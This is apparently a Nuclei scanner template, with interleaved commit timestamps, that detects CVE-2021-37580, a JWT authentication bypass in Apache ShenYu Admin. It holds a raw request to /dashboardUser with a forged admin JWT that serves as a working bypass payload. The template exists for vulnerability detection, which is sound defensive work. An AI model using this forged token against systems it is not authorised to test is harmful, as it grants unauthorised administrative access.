2021-11-18 20:08:23 +00:00
id : CVE-2021-37580
info :
name : Apache ShenYu Admin JWT authentication bypass
author : pdteam
severity : critical
description : A flaw was found in Apache ShenYu Admin. The incorrect use of JWT in ShenyuAdminBootstrap allows an attacker to bypass authentication. This issue affected Apache ShenYu 2.3.0 and 2.4.0
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2021-37580
- https://github.com/fengwenhua/CVE-2021-37580
2021-11-18 20:31:47 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-11-18 20:31:47 +00:00
cve-id : CVE-2021-37580
cwe-id : CWE-287
2022-04-22 10:38:41 +00:00
tags : cve,cve2021,apache,jwt,shenyu
2021-11-18 20:08:23 +00:00
requests :
- raw :
- |
GET /dashboardUser HTTP/1.1
Host : {{Hostname}}
2021-11-18 20:10:36 +00:00
X-Access-Token : eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6ImFkbWluIiwiZXhwIjoxNjM3MjY1MTIxfQ.-jjw2bGyQxna5Soe4fLVLaD3gUT5ALTcsvutPQoE2qk
2021-11-18 20:08:23 +00:00
matchers-condition : and
matchers :
- type : word
words :
- 'query success'
- '"userName":"admin"'
- '"code":200'
condition : and
- type : status
status :
- 200